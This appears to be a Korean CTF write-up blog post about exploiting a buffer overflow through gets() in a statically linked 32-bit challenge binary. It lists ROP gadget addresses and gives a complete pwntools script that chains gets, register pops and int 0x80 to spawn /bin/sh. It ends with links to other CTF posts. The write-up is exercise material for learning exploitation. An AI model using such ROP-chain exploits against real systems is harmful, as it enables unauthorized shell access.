# file
statically linked binary이다.
# checksec
# code
- vuln : gets로 단순히 입력을 받아서 BOF 취약점이 발생한다.
look at me에서 사용한대로 gets로 bss 영역에 “/bin/sh” 문자열을 넣고, syscall로 execve(“/bin/sh”, NULL, NULL); 을 실행해서 쉘이 실행되도록 할 것이다.
# process
1. 필요한 인자
EAX 0x0b : execve syscall id
ECX NULL
EBX “/bin/sh”
EDX NULL
2. 필요한 gadget & 주소
- pop eax; ret : 0x80b84d6
- pop ecx; ret : 0x80dece1
- pop ebx; ret : 0x80481c9
- pop rdx; ret : 0x806f19a
- int 0x80; ret : 0x806f7a0
- gets@plt -> 디버깅에서 찾음
- bss
# exploit code
#!/usr/bin/python
from pwn import *
p = process("./gets_")
elf = ELF("./gets_")
pop_eax = 0x80b84d6
pop_ecx = 0x80dece1
pop_ebx = 0x80481c9
pop_rdx = 0x806f19a
int_0x80 = 0x806f7a0
gets_plt = 0x804f290
bss = 0x80eaf80
pay = 'A'*(0x18+0x4)
pay += p32(gets_plt) + p32(pop_eax) + p32(bss)
pay += p32(pop_eax) + p32(0xb)
pay += p32(pop_ebx) + p32(bss) + p32(pop_ecx) + p32(0) + p32(pop_rdx) + p32(0)
pay += p32(int_0x80)
p.sendline(pay)
p.sendline("/bin/sh\x00")
p.interactive()
# exploit
[picoCTF 2018] echo back (0) | 2020.02.07 |
---|---|
[picoCTF 2018] authenticate (0) | 2020.01.31 |
[picoCTF 2018] echooo (0) | 2020.01.29 |
[TUCTF 2018] Ehh (0) | 2020.01.29 |
[Def Camp 2016] Warm Heap (0) | 2020.01.22 |